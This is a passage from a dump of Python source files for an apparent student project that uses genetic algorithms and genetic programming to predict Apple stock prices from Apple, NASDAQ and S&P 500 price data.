open('./test_apple_data.txt', 'w')\t\n\tfor line in apple:\n\t\tinfo = line.split(',')\n\t\tapple_open = float(info[1])\n\t\tapple_low = float(info[2])\n\t\tapple_high = float(info[3])\n\t\tapple_volume = float(info[5])\n\t\tapple_close_price = apple_volume / 1000 - apple_open / 10 + apple_low - apple_high + 1000 \n\t\tprint apple_close_price\n\t\tnew_line = \"%s,%s,%s,%s,%s,%s,%s\" %(info[0], info[1], info[2], info[3], str(apple_close_price), info[5], info[6])\n\t\ttest_apple.write(new_line)\n\t\t\ngetAppleData()\n"},{"alpha_fraction":0.699090301990509,"alphanum_fraction":0.7053883671760559,"avg_line_length":26.980392456054688,"blob_id":"3cbd117351737ecb7a3b8afe1cdaa4dd43844f68","content_id":"ffad80f9f2251d6511fa0f867145025712e3468a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1429,"license_type":"no_license","max_line_length":74,"num_lines":51,"path":"/Genetic_algorithm_Tushar/predictor.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"from data.read_stock import DataHandler\nfrom ga.individual import Individual\nfrom ga.population import Population\nimport numpy as np\n\n\ndataHandler = DataHandler(['apple_test_data.csv', 'NASDAQ_test_data.csv'])\n#dataHandler = DataHandler(['apple_data.csv', 'NASDAQ_data.csv'])\ndata = dataHandler.get_signal_list()\nsignal_ranges = dataHandler.signal_ranges()\n#print signal_ranges\n\ndata_element = len(data[0])\n#print \"data[0]\"\n#print data[0]\n\n\npopulation = Population(100 , signal_ranges, data)\n#for i in population:\n# print i.transform_individual(signal_ranges)\ninitial_fitess_values = map(population.fitness_function, population) \n#print initial_fitess_values\n\n\nnumber_generations = 100\n\npopulation.sus_sampler(initial_fitess_values)\nmax_list = []\nmean_list = []\n\nfor i in xrange(number_generations):\n #print \"initial population\"\n #for i in population:\n # print i.rep\n #print \"before crossover\"\n population.crossover()\n #print \"after crossover\"\n #for i in population:\n # print i.rep\n #print \"before mutation\"\n population.mutation()\n #for i in population:\n # print i.rep\n #print \"after mutation\"\n fitness_vals = map(population.fitness_function, population)\n population.sus_sampler(fitness_vals)\n mean_val = np.mean(fitness_vals)\n max_val = max(fitness_vals)\n print str(mean_val) + \",\" + str(max_val)\n mean_list.append(mean_val)\n max_list.append(max_val)\n\n\n"},{"alpha_fraction":0.8275862336158752,"alphanum_fraction":0.8275862336158752,"avg_line_length":56,"blob_id":"7f464e48148c7c30e9197e70adf059d162d56c88","content_id":"b9ddc9edc5ea4109e7e95e737cadb19ba00fe137","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":58,"license_type":"no_license","max_line_length":56,"num_lines":1,"path":"/Genetic_algorithm_Tushar/transform_data.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"# File contains functions to perform data transformation \n"},{"alpha_fraction":0.5877959728240967,"alphanum_fraction":0.5955823659896851,"avg_line_length":35.801170349121094,"blob_id":"254031c05f886822eb195cf4c83102ff4c5ac847","content_id":"bc86004dee2d75d9b934a05806eb8154bae025a0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6293,"license_type":"no_license","max_line_length":137,"num_lines":171,"path":"/Genetic_algorithm_Tushar/data/read_stock.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"import csv\nfrom datetime import datetime\n\n\ndef read_csv_file(filename, objtype): \n \"\"\" Function takes a CSV file and a class definition as input\n and returns a list of that object type. It ignores the \n header line of the CSV file. The class constructor needs \n to handle how the list item is handled.\"\"\"\n\n obj_list = []\n\n with open(filename, 'rb') as f:\n reader = csv.reader(f)\n next(reader, None)\n\n for row in reader:\n objinstance = objtype(row)\n obj_list.append(objinstance)\n\n\n return obj_list\n\n\ndef percent_difference(value, orig):\n return (value - orig) / float(orig)\n\n\nclass AppleStockPrice:\n \"\"\" Class to hold the stock price\"\"\"\n def __init__(self,listing):\n self.date_ = datetime.strptime(listing[0], \"%Y-%m-%d\")\n self.open_ = float(listing[1])\n self.high_ = float(listing[2])\n self.low_ = float(listing[3])\n self.close_ = float(listing[4])\n self.volume_ = int(listing[5])\n self.adjclose_ = float(listing[6])\n\n\nclass NasdaqPrice:\n \"\"\" Class to hold the NASDAQ price\"\"\"\n def __init__(self,listing):\n self.date_ = datetime.strptime(listing[0], \"%Y-%m-%d\")\n self.open_ = float(listing[1])\n self.high_ = float(listing[2])\n self.low_ = float(listing[3])\n self.close_ = float(listing[4])\n self.volume_ = int(listing[5])\n self.adjclose_ = float(listing[6])\n\n\nclass FitnessDataObject:\n \"\"\" Data used to evaluate the fitness of the evolved model \"\"\"\n\n def __init__(self):\n self.data = {}\n\n def add_signal(self, name, value = 0.0):\n if type(name) is str and name not in self.data:\n self.data[name] = value\n else:\n print \"Signal name isn't a string\"\n\n def delete_signal(self, name):\n if type(name) is str and name in self.data:\n del self.data[name]\n else:\n print \"Signal name isn't a string or signal doesn't exist\"\n\n def get_signals(self):\n return self.data.keys()\n\n def add_signals(self, names):\n if names:\n for name in names:\n self.add_signal(name)\n\n def put_value(self, signal_name, value):\n self.data[signal_name] = value\n\n def get(self, signal_name):\n return self.data[signal_name]\n\n\nclass DataHandler:\n\n\n def get_dataset(self, file_class):\n apple_stock_prices = read_csv_file(file_class[0][0], file_class[0][1])\n nasdaq_stock_prices = read_csv_file(file_class[1][0], file_class[1][1])\n dataset = []\n\n\n for i in xrange(1, len(apple_stock_prices)):\n\n model = FitnessDataObject()\n open_diff = percent_difference(apple_stock_prices[i].open_, apple_stock_prices[i-1].open_)\n high_diff = percent_difference(apple_stock_prices[i].high_, apple_stock_prices[i-1].high_)\n low_diff = percent_difference(apple_stock_prices[i].low_, apple_stock_prices[i-1].low_)\n close_diff = percent_difference(apple_stock_prices[i].close_, apple_stock_prices[i-1].close_)\n volume_diff = percent_difference(apple_stock_prices[i].volume_, apple_stock_prices[i-1].volume_)\n adjclose_diff = percent_difference(apple_stock_prices[i].adjclose_, apple_stock_prices[i-1].adjclose_)\n #dates_ = apple_stock_prices[i].date_\n\n model.add_signal(\"delta_open\", open_diff)\n model.add_signal(\"delta_high\", high_diff)\n model.add_signal(\"delta_low\", low_diff)\n model.add_signal(\"delta_close\", close_diff)\n model.add_signal(\"delta_volume\", volume_diff)\n model.add_signal(\"delta_adjclose\", adjclose_diff)\n # model.add_signal(\"date\", dates_)\n dataset.append(model)\n \n for i in xrange(1, len(nasdaq_stock_prices)):\n \n model = FitnessDataObject()\n open_diff = percent_difference(nasdaq_stock_prices[i].open_, nasdaq_stock_prices[i-1].open_)\n high_diff = percent_difference(nasdaq_stock_prices[i].high_, nasdaq_stock_prices[i-1].high_)\n low_diff = percent_difference(nasdaq_stock_prices[i].low_, nasdaq_stock_prices[i-1].low_)\n close_diff = percent_difference(nasdaq_stock_prices[i].close_, nasdaq_stock_prices[i-1].close_)\n volume_diff = percent_difference(nasdaq_stock_prices[i].volume_, nasdaq_stock_prices[i-1].volume_)\n adjclose_diff = percent_difference(nasdaq_stock_prices[i].adjclose_, nasdaq_stock_prices[i-1].adjclose_)\n\n #print nasdaq_stock_prices[i].volume_\n #print nasdaq_stock_prices[i-1].volume_\n #print (nasdaq_stock_prices[i].volume_ - nasdaq_stock_prices[i-1].volume_) / float(nasdaq_stock_prices[i -1].volume_)\n\n\n\n #volume_diff = 100 *(nasdaq_stock_prices[i].volume_ - nasdaq_stock_prices[i-1].volume_) / nasdaq_stock_prices[i - 1].volume_\n #print volume_diff\n #dates_ = nasdaq_stock_prices[i].date_\n\n\n model.add_signal(\"delta_nasdaq_open\", open_diff)\n model.add_signal(\"delta_nasdaq_high\", high_diff)\n model.add_signal(\"delta_nasdaq_low\", low_diff)\n model.add_signal(\"delta_nasdaq_close\", close_diff)\n model.add_signal(\"delta_nasdaq_volume\", volume_diff)\n model.add_signal(\"delta_nasdaq_adjclose\", adjclose_diff)\n dataset.append(model)\n\n return dataset\n\n def __init__(self, files):\n file_class = [(files[0] , AppleStockPrice), (files[1] , NasdaqPrice)]\n self.dataset = self.get_dataset(file_class)\n\n\n def signal_ranges(self):\n signal_ranges = []\n if self.dataset != None:\n for signal in self.dataset[0].get_signals():\n l = map(lambda x:x.get(signal), self.dataset)\n min_max = (min(l), max(l))\n signal_ranges.append(min_max)\n else:\n print \"Dataset is None\"\n return signal_ranges\n\n\n def get_signal_list(self):\n signal_data = []\n for i in xrange(len(self.dataset)):\n vals = []\n for signal in self.dataset[i].get_signals():\n val = self.dataset[i].get(signal)\n vals.append(val)\n signal_data.append(vals)\n return signal_data\n"},{"alpha_fraction":0.5866666436195374,"alphanum_fraction":0.5885714292526245,"avg_line_length":18.407407760620117,"blob_id":"fe542b6331cfc91e5ca49ba7747fdd087cdb7966","content_id":"9b2c3d340b7092fd17e24370f733cd6667f8e048","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":525,"license_type":"no_license","max_line_length":39,"num_lines":27,"path":"/Rahul_Genetic_Program/apple/tree.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#module: tree\n\n'''\n\tNode and Tree Class\n'''\n\n#Genetic Node Class\nclass Node(object):\n #Constructor for Node object\n def __init__(self, value=None):\n self.value = value\n self.left = None\n self.right = None \n\n\n#Genetic Tree Class\n#Uses Genetic Node \nclass Tree(object):\t\n\t#Constructor\n\tdef __init__(self):\n\t\t#Initializes root node\n\t\t#Will be overwritten\n\t\tself.root = Node('root') \n\t\tself.size = 1\n\t\tself.decision = ['left', 'right']\n\t\tself.fitness = None\n\n"},{"alpha_fraction":0.6542646288871765,"alphanum_fraction":0.6654966473579407,"avg_line_length":34.599998474121094,"blob_id":"8dbef7b8a0bc91fc28083b49aa60e6b87b086fdc","content_id":"e38605eae32e3c3920d4bff349cd03ee56c3d301","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2849,"license_type":"no_license","max_line_length":112,"num_lines":80,"path":"/Rahul_Genetic_Program/apple/fitness.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#module: fitness\n\n'''\n\tFitness \n\tFunctions & Wrappers\n'''\n\nimport scrape\nimport recombination\nfrom copy import deepcopy\n\ndef generateFitnesses(population):\t\t\n\tfitnesses = map(lambda x: fitnessValue(x), population)\t\n\n#Calculate the fitness value of a single GP tree\n#and stores it in the tree object\ndef fitnessValue(tree):\n path = [] \n recombination.loadPaths(tree.root, path)\n\n\t#Load market data and stores in respective dictionaries\t\n\tapple_data = scrape.getAppleData()\t\n\tnasdaq_data = scrape.getNasdaqData()\n\tsp500_data = scrape.getSP500Data()\n\t\n\tnodeReplace(path)\t\n\tequation = createEquation(path)\t\n\tdata_size = range(0, len(apple_data))\t\n\tpredicted_prices = map(lambda i: evaluateEquation(i, nasdaq_data, apple_data, sp500_data, equation), data_size)\n\tnext_day_prices = map(lambda data: data['apple_close'], apple_data) #next_day_price is the actual price\n\t\t\n\tpredicted_prices.pop() \t#Removes the last item in the list\n\tnext_day_prices.pop(0) \t#Removes the first item in the list\t\t\n\t\n\tzipped = zip(predicted_prices, next_day_prices)\n\terrors = map(lambda pair: abs(pair[1] - pair[0]), zipped)\n\tfitness = sum(errors)/float(len(errors))\n\n\ttree.fitness = fitness\t#Adds fitness to tree object in-place\t\n\treturn fitness \t\t#For printEquationPopulation function\t\n\ndef evaluateEquation(i, nasdaq_data, apple_data, sp500_data, equation):\n\treturn eval(equation)\n\t\n\n#Replaces path with data by subbing in\n#dictionary that will be eval'd later\ndef nodeReplace(path):\n terminals = scrape.getTerminal() \n\n string_terminals = filter(lambda t: type(t) == type('str'), terminals)\n path_string_terminals = filter(lambda t: t in path, string_terminals) \n\n apple_data = filter(lambda t: t[0] == 'a', path_string_terminals)\n nasdaq_data = filter(lambda t: t[0] == 'n', path_string_terminals)\n\tsp500_data = filter(lambda t: t[0] == 's', path_string_terminals)\n\n map(lambda t: replaceWrapper(path, t, 'a'), apple_data)\n map(lambda t: replaceWrapper(path, t, 'n'), nasdaq_data)\n\tmap(lambda t: replaceWrapper(path, t, 's'), sp500_data)\n\ndef replaceWrapper(path, t, data_type):\n pairs = filter(lambda pair: pair[1] == t, enumerate(path))\n indices = map(lambda pair: pair[0], pairs) \n map(lambda index: replaceWrapper2(path, t, data_type, index), indices)\n\ndef replaceWrapper2(path, t, data_type, index):\n if(data_type == 'a'):\n path[index] = \"apple_data[i]['%s']\" %(t)\n elif(data_type == 'n'):\n path[index] = \"nasdaq_data[i]['%s']\" %(t)\n\telif(data_type == 's'):\n\t\tpath[index] = \"sp500_data[i]['%s']\" %(t)\n\n#Creates the equation that the tree represents\ndef createEquation(path):\n paths = map(lambda node: str(node), path)\n final_path = reduce(lambda x,y: x + \" \" + y, paths)\n return final_path\n\n"},{"alpha_fraction":0.685512363910675,"alphanum_fraction":0.6893993020057678,"avg_line_length":28.789474487304688,"blob_id":"20bbcb5df87260bb62658a951ea7b87ccd50703e","content_id":"d8477965714b6769637dbc6bb18685dd6bc79869","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2830,"license_type":"no_license","max_line_length":82,"num_lines":95,"path":"/Rahul_Genetic_Program/apple/initialize.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#module: initialize\n\nimport config\nfrom tree import Node\nfrom tree import Tree\nimport scrape \n\nfrom random import choice\nfrom random import sample\nfrom copy import deepcopy\n\n'''\n\tInitialization \n\tFunctions and Wrappers\n'''\n#Initialize genetic tree population\ndef initPopulation(num_of_trees):\n\ttree_size = config.tree_size\t\n\t#tree = initGeneticTree(6)\n\t#population = map(lambda i: sameTree(tree), range(0, num_of_trees))\t\t\n\tpopulation = map(lambda tree: initGeneticTree(tree_size), range(0, num_of_trees))\n\treturn population\n\ndef sameTree(tree):\n\treturn deepcopy(tree)\t\n\n#Initializes a genetic tree with \n#the specified number of nodes\ndef initGeneticTree(num_of_nodes):\t\n\ttree = Tree()\n\tdecision = ['left', 'right']\n\tmap(lambda x: createRandomNodes(tree.root, decision), range(0, num_of_nodes))\t\n\tfillGeneticTree(tree.root)\n\treturn tree \n\n#Traverse the binary tree and adds a pair \n#of left and right nodes in a random place\ndef createRandomNodes(root, decision):\n chosen = choice(decision)\n if(chosen == 'left' and root.left == None):\n root.left = Node('l')\n\t\troot.right = Node('r')\n elif(chosen == 'right' and root.right == None):\n root.right = Node('r')\n\t\troot.left = Node('l')\n else:\n if(chosen == 'left'):\n createRandomNodes(root.left, decision)\n else: #chosen = 'right'\n createRandomNodes(root.right, decision)\n\n\n#Insert terminal and functional nodes into the\n#genetic tree. \ndef fillGeneticTree(root):\n\t#Load terminal list with terminal nodes\n\tterminal = scrape.getTerminal()\n\t#Load functional list with functional nodes\n\tfunctional = scrape.getFunctional()\t\t\n\t#Keeps track of functional and terminal list positions\t\n\tterminal_index = 0\n\tfunctional_index = 0\n\tstack = []\n\tstack.append(root)\n\ttemp_terminal = sample(terminal, len(terminal)) #shuffle terminal\n\ttemp_functional = sample(functional,len(functional)) #shuffle functional\n\n\t#While loop ensures that initial population has\n\t#one of each type of functional node\n\t#and one of each type of terminal node\t\n\twhile(len(stack) > 0):\t\t\n\t\tcurrent = stack.pop()\t\n\n\t\tif(current.left == None and current.right == None):\n\t\t\t#Node is a leaf, insert terminal node\n\t\t\tcurrent.value = temp_terminal[terminal_index]\n\t\t\tterminal_index += 1\n\t\telse: #Node is not a leaf, insert a functional node\n\t\t\tcurrent.value = temp_functional[functional_index]\n\t\t\tfunctional_index += 1\n\n\t\t#Resets indices if out of bounds\n\t\tif terminal_index == len(temp_terminal):\n\t\t\tterminal_index = 0 \n\t\tif functional_index == len(temp_functional):\n\t\t\tfunctional_index = 0\n\t\t\n\t\ttemp_node = current.right\t\t\n\t\tif temp_node != None:\n\t\t\tstack.append(temp_node) #stack.push\n\n\t\ttemp_node = current.left\n\t\tif temp_node != None:\n\t\t\tstack.append(temp_node) #stack.push\n"},{"alpha_fraction":0.8302354216575623,"alphanum_fraction":0.832713782787323,"avg_line_length":31.200000762939453,"blob_id":"70beb514ab75cad7827e31a766dccc028688450b","content_id":"20a9d3fe3d5561ea310a9e45c319fd54308cce3c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":807,"license_type":"no_license","max_line_length":64,"num_lines":25,"path":"/Rahul_Genetic_Program/predict.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#Main Apple Stock Predicting Script\n\nfrom apple import config\nfrom apple import initialize\nfrom apple import inspect\nfrom apple import recombination\nfrom apple import selection\nfrom apple import fitness\n\nfrom termcolor import colored\n\npopulation = initialize.initPopulation(config.population_size)\n\nfor generation in xrange(0, config.generations):\t\t\t\n\tfitness.generateFitnesses(population)\n\tinspect.printEquationPopulation(population, generation)\n\tfor tree in xrange(0, len(population)):\t\t\t\n\t\trecombination.performMutation(population)\n\t\trecombination.performCrossover(population)\n\t#Tournament Selection\n\tselection.tournamentParentSelection(population)\n\t#Roullette Wheel\n\t#roulletteWheel = selection.createRoulletteWheel(population)\n\t#selection.roulletteParentSelection(roulletteWheel, population)\n\n\n"},{"alpha_fraction":0.6515709161758423,"alphanum_fraction":0.6722332239151001,"avg_line_length":26.379844665527344,"blob_id":"46376daa5f17ea0a42fb9a8e12db8fd242b5624d","content_id":"5ef5bea7e76159b7edb8e55f70666c57bd450cb3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3533,"license_type":"no_license","max_line_length":91,"num_lines":129,"path":"/Rahul_Genetic_Program/apple/recombination.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#module: recombination \n\n'''\n\tMutation & Crossover\n\tFunctions and Wrappers \n'''\nimport config\nfrom random import choice\nfrom random import random\nfrom random import randint\nfrom copy import deepcopy\n\n'''\n\tMutation\n'''\ndef performMutation(population):\t\n\tfor tree in xrange(0, len(population)):\n\t\tdice_roll = random()\n\t\tif (dice_roll < config.m_probability):\n\t\t\tmutate(population[tree].root)\t\n\ndef mutate(root):\n\t#Choose to swap terminal or functional nodes\n\tnode_type = choice(['terminal', 'functional'])\n\tif(node_type == 'terminal'): \n\t\tt_node_values = getNodes(root,1)\n\t\tv_1 = choice(t_node_values)\n\t\tt_node_values.remove(v_1) #remove from pool\n\t\tv_2 = choice(t_node_values)\n\t\tnode_1 = DFS(root, v_1) #Retrieve node references\n\t\tnode_2 = DFS(root, v_2)\t\n\t\tswapValues(node_1, node_2)\n\telse: #type == 'functional'\n\t\tf_node_values = getNodes(root,2)\n\t\t#Safeguards against a one element f_node\n\t\tif (len(f_node_values) > 1):\n\t\t\tv_1 = choice(f_node_values)\t\n\t\t\tf_node_values.remove(v_1) #remove from pool\n\t\t\tv_2 = choice(f_node_values)\n\t\t\tnode_1 = DFS(root, v_1) #Retrieve node references\n\t\t\tnode_2 = DFS(root, v_2)\n\t\t\tswapValues(node_1, node_2)\t\t\t\t\n\n\n'''\n\tCrossover\n'''\ndef performCrossover(population):\n\tsize = len(population)\n\tfor i in xrange(0, size):\n\t\tif(random() <= config.c_probability and (i+1) < size):\n\t\t\tcrossover(population[i].root, population[i+1].root)\n\t\t\t#For random selection\n\t\t\t#choice_1 = randint(0, size-1)\t\n\t\t\t#choice_2 = randint(0, size-1)\n\t\t\t#if(choice_1 != choice_2):\n\t\t\t#\tcrossover(population[choice_1].root, population[choice_2].root)\t\t\n\n\ndef crossover(root_1, root_2):\n\tnode_1 = chooseRandomSubTree(root_1, 3)\n\tnode_2 = chooseRandomSubTree(root_2, 3)\n swapValues(node_1, node_2) #Swap subtrees\n swapNodes(node_1, node_2)\n\n\n'''\n\tWrappers\n'''\ndef chooseRandomSubTree(root, t_or_f):\t\t\n\tfunctional_nodes = getNodes(root, 3)\t\n\t#Choose from sub-trees that have a depth greater than 2\n\t#This prevents pre-mature convergence\n\tqualified_nodes = filter(lambda node: depth(node) > config.minimum_size, functional_nodes)\n\tnode = choice(qualified_nodes)\t\n\treturn node\n\t\ndef getNodes(root, t_or_f=0):\t\n\tnodes = []\n\tloadPaths(root, nodes, t_or_f)\n\treturn nodes\n\ndef swapValues(node_1, node_2):\n\ttemp_value = node_1.value\n\tnode_1.value = node_2.value\n\tnode_2.value = temp_value\n\ndef swapNodes(node_1, node_2):\n\ttemp_left = node_1.left\n\ttemp_right = node_1.right\n\tnode_1.left = node_2.left\n\tnode_1.right = node_2.right\n\tnode_2.left = temp_left\n\tnode_2.right = temp_right\n\n#Loads path with an in-order traversal\t\n#all, terminal, or functional nodes\ndef loadPaths(root, path=[], t_or_f=0):\t\n\tif root == None:\n\t\treturn\n\tloadPaths(root.left, path, t_or_f)\n\tif(t_or_f == 2): #Only append functional nodes\n\t\tif(root.left != None and root.right != None):\n\t\t\tpath.append(root.value)\t\n\telif(t_or_f == 1): #Only append terminal Nodes\n\t\tif(root.left == None and root.right == None):\n\t\t\tpath.append(root.value)\n\telif(t_or_f == 3): #Only append functional node REFERENCES\n\t\tif(root.left != None and root.right != None):\n\t\t\tpath.append(root)\n\telse: # t_or_f == 0, append all nodes\n\t\tpath.append(root.value)\n\tloadPaths(root.right, path, t_or_f)\n\n#Depth First Search\ndef DFS(root, target_value):\n if(root == None):\n return \n if root.value == target_value:\n return root\n return DFS(root.left, target_value) or DFS(root.right, target_value)\n\n#Depth of a Tree\ndef depth(root):\n\tif(root == None):\n\t\treturn 0\n\telse:\n\t\treturn 1 + max(depth(root.left), depth(root.right))\n\n"},{"alpha_fraction":0.671023964881897,"alphanum_fraction":0.6971677541732788,"avg_line_length":29.600000381469727,"blob_id":"61905dddd0ef823e2fee13f13b76664dc1647c81","content_id":"c7003693a6de438b3e25c0acf870d1c7bb763aa5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":459,"license_type":"no_license","max_line_length":70,"num_lines":15,"path":"/Rahul_Genetic_Program/apple/config.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#module: config\n\npopulation_size = 50 #Number of trees in the population\ntournament_size = 3 #Size of tournament during tournament selection\n\ntree_size = 10 #Number of nodes in a tree\ngenerations = 50 #Number of generations\n\nc_probability = .7 #Crossover probability\nm_probability = .2 #Mutation probability\n\nminimum_size = 3 #Minimum size of the tree that will be \n\t\t #preserved during crossover\niteration = 10\n"},{"alpha_fraction":0.6075268983840942,"alphanum_fraction":0.6075268983840942,"avg_line_length":14.166666984558105,"blob_id":"1fc665d4133ae3ff98caa057df8ca076ef62c503","content_id":"a99a364064673244c04966f3f14583af9b75d409","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":186,"license_type":"no_license","max_line_length":36,"num_lines":12,"path":"/Rahul_Genetic_Program/data/reverse_data.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"\n_in = open('./APPLE_STOCK.csv', 'r')\nout = open('./apple_stock.txt','w')\n\nlines = []\n\nfor line in _in:\n\tlines.append(line)\n\nlines.reverse()\n\nfor line in lines:\n\tout.write(str(line))\n\n\t\n"},{"alpha_fraction":0.608851969242096,"alphanum_fraction":0.6164906620979309,"avg_line_length":31.669116973876953,"blob_id":"a32ce224ecb7820a1bc9945e1f37b6e964286f8c","content_id":"8122f42bff470e83fa2d75bd680702b1ac8df776","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4451,"license_type":"no_license","max_line_length":114,"num_lines":136,"path":"/Rahul_Genetic_Program/apple/inspect.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#module: inspect\n\n'''\n Tree Inspection \n\t &\n\tTesting Operators\n'''\n\nimport recombination\nimport fitness\nimport initialize\nimport config\n\nfrom termcolor import colored\nmean_best = open('/Users/rahulramakrishnan/Desktop/trial_2_' + str(config.iteration) + '_real_mean_best.txt', 'w')\n#Prints Trees Level by Level\ndef printTreePopulation(population):\n\tmap(lambda tree: printTree(tree), population)\n\n#Prints Trees by their Equation (in-order)\ndef printEquationPopulation(population, generation):\n\tsize = len(population)\n\tequation_dict = {}\n\t#print (colored(\"Size of population: %d\", 'blue') %(len(population)))\n\t\n for tree in population:\n\t\tpath = []\n recombination.loadPaths(tree.root, path)\n equation = fitness.createEquation(path)\n error = fitness.fitnessValue(tree)\n\t\tif equation not in set(equation_dict.keys()):\n\t\t\tequation_dict[equation] = {}\n\t\t\tequation_dict[equation][error] = 1\n\t\telse:\n\t\t\tequation_dict[equation][error] += 1\n\t\t\n\t#Output Generation Number\n\tfirst_part = colored(\"\\nGENERATION: %d \", 'magenta') %(generation)\n\tboundary = \"=\" * 100\n\tsecond_part = colored(boundary, 'magenta')\n\tprint first_part + second_part\n\t\n\t#Sort based on value of dictionary\n\tsorted_equation = sorted(equation_dict.iteritems(), key=lambda x: x[1])\n\tfor i, equation_and_error in enumerate(sorted_equation):\n\t\tfor j in range(0, equation_and_error[1].values()[0]):\n\t\t\tequation = (colored(\"%s\", 'green') %(equation_and_error[0]))\n\t\t\terror = (colored(\"Fitness: %s\", 'blue') %(equation_and_error[1].keys()[0]))\n\t\t\tprint equation + \" === \" + error\n\t\t\t\n\tpopulation_fitness = map(lambda x: x.fitness, population)\n\tmean_fitness = sum(population_fitness)/float(size)\n\tbest_fitness = min(population_fitness)\t\n\toutput_mean_fitness = colored(\"Mean Fitness: %f\", 'yellow') %(mean_fitness)\t\n\toutput_best_fitness = colored(\"Best Fitness: %f\", 'red') %(best_fitness)\n\tmean_best.write(str(mean_fitness) + \" \" + str(best_fitness) + \"\\n\") #Write to file\n\tprint output_mean_fitness + \"\\n\" + output_best_fitness\n\t\n#Depth of a tree\ndef depth(root):\n if(root == None):\n return 0\n else:\n return 1 + max(depth(root.left), depth(root.right))\n\n#Prints each level\ndef printTree(tree):\t\n root = tree.root\n print \"-----Tree Level by Level--- Depth of Tree: %d\" %(depth(root))\n result = createLeveledTree(root)\n for level_index, level in enumerate(result):\n nodes = []\n for node in level:\n nodes.append(node.value)\n print str(level_index) + \": \" + str(nodes)\n print \"Tree's Fitness: %f \" %(tree.fitness)\n\n#Prints the equation\ndef printEquation(tree):\n\tpath = []\n\trecombination.loadPaths(tree.root, path)\n\tequation = fitness.createEquation(path)\n\tprint equation\n\n#Creates a list of levels of a tree\ndef createLeveledTree(root):\n result = [] \n current = []\n if(root != None):\n current.append(root)\n while (len(current) > 0):\n result.append(current)\n parents = current\n current = []\n for parent in parents:\n if (parent.left != None):\n current.append(parent.left)\n if (parent.right != None):\n current.append(parent.right)\n return result\n\n#Traverses the tree in-order\n#for viewing purposes\ndef inOrderTraversal(root):\n if root == None:\n return\n inOrderTraversal(root.left)\n print root.value\n inOrderTraversal(root.right)\n\n\n#Testing Mutation\ndef testMutation():\n depth = 4\n apple_tree_1 = initialize.initGeneticTree(depth)\n print \"Before Mutation\"\n printTree(apple_tree_1.root)\n mutate(apple_tree_1.root)\n print \"After Mutation\"\n printTree(apple_tree_1.root)\n\n#Testing Crossover\ndef testCrossover():\n depth = 5\n apple_tree_1 = initialize.initGeneticTree(depth)\n apple_tree_2 = initialize.initGeneticTree(depth)\n print \"Before Crossover: \\nTree 1\"\n printTree(apple_tree_1.root)\n print \"Tree 2\"\n printTree(apple_tree_2.root)\n recombination.crossover(apple_tree_1.root, apple_tree_2.root)\n print \"\\nAfter Crossover: \\n Tree 1\"\n\tprintTree(qpple_tree_1) \n\tprint \"Tree 2\"\n\tprintTree(apple_tree_2)\n \n"},{"alpha_fraction":0.5077672600746155,"alphanum_fraction":0.5251294374465942,"avg_line_length":32.479591369628906,"blob_id":"306a6513be6f4579c03d2673d290bb5bc3d18c46","content_id":"68e4598809a14c037108ad2b414a5518fc86ad35","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3283,"license_type":"no_license","max_line_length":117,"num_lines":98,"path":"/Genetic_algorithm_Tushar/ga/individual.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"\n# import range related functions\n# import representation related functions\n\nimport operator\nimport random\n\nfrom random import randint as ri\nfrom random import uniform as ru\n\nrandom.seed(1234)\n\nclass Individual:\n def __init__(self, number_of_signals, bit_length = 16):\n self.rep = \"\"\n self.sig_size = bit_length\n #self.signal_range = signal_ranges(datasets)\n for i in xrange(number_of_signals):\n random_val = bin(ri(0, 2 ** bit_length))[2:]\n random_val = random_val.zfill(bit_length)\n self.rep = self.rep + random_val \n\n def change_individual(self, bit_string):\n if bit_string != None and type(bit_string) is str:\n self.rep = bit_string\n else:\n print \"incorrect input\"\n\n\n def transform_individual(self, signal_ranges):\n \"\"\" Takes a list of 2 tuples defining the signal ranges and scales the binary string to the appropriate value\n \"\"\"\n num_signals = len(signal_ranges)\n repr_size = len(self.rep)\n n = repr_size / num_signals\n\n individual_signals = [ self.rep[i:i+n] for i in xrange(0, len(self.rep), n) ] \n individual_vals = []\n\n for i in range(num_signals):\n min_val = signal_ranges[i][0]\n max_val = signal_ranges[i][1]\n range_val = abs(max_val - min_val) \n signal_value = min_val + (range_val * (float(int(individual_signals[i], 2)) / 2 ** n))\n individual_vals.append(signal_value)\n\n return individual_vals\n\n\n \n def mutate(self, mutate_probability):\n l = list(self.rep)\n\n for i in xrange(self.sig_size):\n r = ru(0,1)\n if r < mutate_probability:\n for j in xrange(i,self.sig_size, self.sig_size):\n if l[j] == '1':\n l[j] = '0'\n elif l[j] == '0':\n l[j] = '1'\n\n self.rep = \"\".join(l)\n\n\n def crossover_2way(self, other_parent, crossover_probability):\n l1 = len(self.rep)\n l2 = len(other_parent.rep)\n expected_length = 0\n #print 